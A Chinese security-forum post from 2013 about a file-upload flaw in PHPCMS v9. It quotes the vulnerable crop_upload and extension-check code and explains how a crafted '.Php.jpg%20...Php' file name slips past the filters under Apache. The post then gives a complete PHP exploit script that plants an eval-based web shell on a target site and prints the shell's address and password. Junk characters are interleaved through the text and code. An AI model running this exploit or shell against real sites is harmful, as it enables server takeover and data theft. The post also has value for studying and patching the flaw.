找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2203|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行& ^$ }: ~( ]" E# U

5 H# w, s7 S8 v2 u" F简要描述:
8 ^, R5 S; a% W  h
# |( D9 J" K. x) K0 S& Ophpcms v9 getshell (apache)
& H. W. g' g/ y) X& ~详细说明:. j6 D: }  @. i9 m' w4 L
9 ^' V9 r  E5 m; ?9 n5 A  m
漏洞文件:phpcms\modules\attachment\attachments.php
" H3 F2 C9 ?7 g1 C4 J. z
9 w% H; x+ c8 U* a! t5 \& U5 xpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
& u0 ^! s' u- c后缀检测:phpcms\modules\attachment\functions\global.func.php: Z9 B  ?  k* [- v" K+ `  n0 X. V

. u# X0 m. I1 z" p
0 b2 T$ }7 o$ D' o" p6 f# `/ W9 S
8 G+ P/ V- r9 p7 c4 L9 kfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
' W' e. Y5 O+ A( O& k/ D8 r$ l! E7 o( A) t# ]
关键函数:
$ [8 H; Q6 K, B1 h* W% L2 D& w3 L! {: n$ N8 R: t( `
3 n7 A: I9 F$ _" f) F) }$ J
" F. C  \! k- t3 U2 `4 H# z, q
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  6 w% B# ]/ @& }# l  p: c; y% @" ], }
( S: Z6 Q3 X* W0 V6 W8 `
  Fileext函数是对文件后缀名的提取。
8 `3 s8 @8 m& E) v1 O: L+ i! c根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php* ]$ ]6 q8 p; X* Z. u% s/ H. N! T+ @) c
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。) G* ~, S. k0 M+ N) L; C
我们回到public function crop_upload() 函数中, b5 g4 R5 t' r( h
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();$ Q  {/ [" q6 Y7 f% G5 S$ A
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
2 y; m6 v2 `9 q- x3 i# O这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
6 W: T3 @% A- h9 R0 A经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。! r1 C* R2 s/ e
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。" s/ o. N) X7 J& L- j+ v, D
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
3 p/ Z4 B& O, g2 A* K! j漏洞证明:
  \4 X& m( R+ }6 O5 V) B. y
4 K$ K# `0 ^, _! Iexp:
' {0 y7 F- D$ g7 k  b% f! I( v8 k8 I1 n0 n, `& D" ]- a
<?php$ e* [& j! S+ h! C
error_reporting(E_ERROR);
! L- K# a) I3 E  o( z( ]set_time_limit(0);3 U, r% `+ j! @- y
$pass="ln";
3 N' u4 O' I" L6 cprint_r('
+ @( E1 D" W# Z7 ~+---------------------------------------------------------------------------+( M; x: |( T% D& A7 r9 T; L$ y
PHPCms V9 GETSHELL 0DAY
# G9 V2 V$ q! _5 u6 P$ A. {code by L.N.7 y7 g9 o4 W8 d% J+ |1 g. i4 @& }
! w1 D; |% O9 R4 B% F
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net1 S4 V) u6 C4 |: Q0 P
+---------------------------------------------------------------------------+4 n$ O& a1 [* h5 R4 ?3 L
');
! n' `/ f: F3 I4 o9 i- fif ($argc < 2) {- q4 K6 y2 k3 v5 R- G/ h
print_r('
5 D, b( m; y; a9 w9 C' M! }% {+---------------------------------------------------------------------------+7 G  E- M% c& S9 B- q
Usage: php '.$argv[0].' url path2 U) i, [) o4 ~' u
( _5 p5 ~0 \0 P3 k
Example:
  Z6 T! N7 {7 X" L1.php '.$argv[0].' lanu.sinaapp.com
# a  W- N! K5 W6 S2.php '.$argv[0].' lanu.sinaapp.com /phpcms8 U  \* w7 e, f8 t% s0 `% Z
+---------------------------------------------------------------------------+) n. |" y$ Q) p" U3 _% {
');
6 n4 f& x/ c+ c, \1 F% Bexit;
6 e0 g4 }3 j9 L+ X, Y. l}
  h; P! i* c% H: v7 W" O' }5 |% ~) e9 ^2 O. ~" P
$url = $argv[1];
; K2 ~7 r- x3 `9 G9 n8 [$path = $argv[2];
: w$ U& x3 K0 ^; o' [$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
9 y7 I7 E3 p& B  F. V1 n2 H$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';$ Y% t% t. h& d, Y* r; q- ~7 a/ W
if($ret=Create_dir($url,$path))
3 V5 X7 j& ]; l* b$ ~{
. Z9 {" ?8 A# }//echo $ret;( I/ D7 _: A" L  l2 E
$pattern = "|Server:[^,]+?|U";: t+ P8 c0 ^6 u" u
preg_match_all($pattern, $ret, $matches);
) Q) U3 k, W. a( w1 aif($matches[0][0])6 Y  {, Q! u) \% X( @
{
) U7 W" Z" `5 c* [if(strpos($matches[0][0],'Apache') == false)
- h! ]8 a, L; D, Q9 N* Z2 k# a: i{
! x; }2 j) `/ A: D+ V/ C& }  I7 h% |echo "\n亲!此网站不是apache的网站。\n";exit;
) ~- ~) o. A1 t3 f# x}  C2 J7 ]0 L9 L  i; t$ P9 k
}' i6 F3 x4 U- H* \5 _  @0 Q5 }9 k
$ret = GetShell($url,$phpshell,$path,$file);' X6 }% h" U8 `
$pattern = "|http:\/\/[^,]+?\.,?|U";6 s5 ~- H, r2 p$ e1 n  p
preg_match_all($pattern, $ret, $matches);: T) L2 I/ w6 V+ W4 e2 d0 c
if($matches[0][0])
, k+ f- t- B/ W{
# F2 T$ e: ^2 P0 t6 uecho "\n".'密码为: '.$pass."\n";
5 \7 J4 P  U" ~/ W( kecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
, |$ [& E) U8 j- P}
8 E9 \1 z( C2 G9 P' O5 A( z2 lelse
9 o/ t" n3 P% K& T$ G% Z8 n{' R4 S6 r# @! H% f- l$ D8 E9 _8 }
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";$ C0 n% f; m0 U. h
preg_match_all($pattern, $ret, $matches);, B6 T* N9 U: X9 R* Y0 ~
if($matches[0][0])5 t% V% m* ?( H8 i! ]
{: _. |5 ?5 k8 B- b. g1 |# L4 P" S
echo "\n".'密码为: '.$pass."\n";
: l" Q' }- ]. G) ^echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;. P+ _. Z$ M0 |& I! Z8 l
}
8 ~; K  [) ^" N  w# @else
# k: G% A1 G& u, w& a8 C$ j{3 W" o, f, P3 I6 A- T) w
echo "\r\n没得到!\n";exit;4 X6 u- R1 h  f/ C
}# t7 G' J+ a" u. b  Z" u
}# C9 M7 `/ a- e5 O4 g
}9 }) Z/ Y; d/ A; T) l$ i% W8 D2 B
: M: x' T# g% }% o. P  @: a
function GetShell($url,$shell,$path,$js)
1 w) }! y, m( z# n& N. Z% n{
; \3 ^7 Z! A* ~$ P& v& T$content =$shell;& n8 R3 f7 S  R- U  D, {" n
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
9 @- {+ U2 d$ X! B% X$data .= "Host: ".$url."\r\n";
" q7 i/ U; ?1 J* m' }, z; |$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";* r) Y2 k5 l  H+ d, |
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";/ u( V% s) I' T, T$ I/ {1 y
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";5 n9 V3 A  f. A: _" S. M9 ?/ `' S' |
$data .= "Connection: close\r\n";
' t+ f9 C8 ^$ ~1 o$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" h# s3 O- W1 {, `
$data .= $content."\r\n";* X6 `5 X9 Z6 \0 R- c9 M/ U* G" ?
$ock=fsockopen($url,80);) B7 |/ I- h+ }( G
if (!$ock): U9 H5 f; [9 |) e* x
{
0 ~' U. a( X- E8 b1 \" I3 ]echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;; G' ^- L; T6 ?8 ]6 C" p0 z6 `" Z$ B
}; o2 x, D3 w3 M9 r8 \
else
1 Y/ u- U& q% d4 U) q: t{
2 n5 w( z! d* F& I$ w/ zfwrite($ock,$data);7 e- V5 O- Q- B' c% Q+ @  s) C
$resp = '';
) b) s: n# `& l) zwhile (!feof($ock))* g9 ^2 E! a. y9 e
{
3 v& D. c1 w% w$ W/ F$resp.=fread($ock, 1024);
+ U$ V; E8 ?7 n}' y3 |( k' K2 k8 a/ L
return $resp;
# P% m" y2 c  ^2 Y8 m) @% H}
% r2 W* I7 x9 J/ K! ^* C$ v" z}
2 \; P* V/ T0 Q# x
- h, u" B! T' S5 rfunction Create_dir($url,$path='')1 ~+ ^3 m7 S6 [+ J+ I
{
1 K$ I4 O8 K% `$content ='I love you';
! g' D$ k2 ^: W" \4 ^$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
6 e" Z- \* U9 G$data .= "Host: ".$url."\r\n";
; }% J/ g/ G3 i$ j  v$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
! {% x! S' ?  b" U, @9 B$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";+ g. l" v# R" B  P1 g# ~- V, n' l
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% a+ X; n9 V! [2 P$data .= "Connection: close\r\n";
$ e3 g  U  F$ W* l5 [! k/ D$data .= "Content-Length: ".strlen($content)."\r\n\r\n";* d3 A' q; e; T1 }2 V
$data .= $content."\r\n";0 Q8 U0 I9 _$ z# p
$ock=fsockopen($url,80);. |( u8 f% ^3 u/ b$ d! H3 z: [3 R
if (!$ock)
2 X* ?) C8 y3 D# g; C* b: f9 @{2 w2 o3 G; X0 W% Q
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
6 K7 p2 T, @2 l  K) [7 b. t9 e}
$ r6 F  s2 U, x: ^# x3 l0 }fwrite($ock,$data);! b4 y$ {- _( b. ?
$resp = '';
- `2 C6 q* G' w9 {: I6 y( {while (!feof($ock))
' @7 E0 S7 m( D, d; q4 S% P{
2 U/ R# ?! L/ d4 @, [( `2 c+ v$resp.=fread($ock, 1024);9 x1 k2 f% C. h1 J  G: K5 f9 p
}
8 \! Y7 k; x0 Preturn $resp;
/ Y  F( h( B3 R& ^7 O# S( Z}/ i( X# Z0 ^2 Y& T+ k& h
?> 7 O0 l- G9 [# n
: R% j( {7 p& m( F) v9 j$ s- |
修复方案:# K& w7 N  s* J, T9 {* |" k/ M
  Y! c% I/ `  {2 F
过滤过滤再过滤
, |7 L1 I9 m. g" o. G* z3 t* {
: u, ~( m+ d5 q1 u2 E) x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表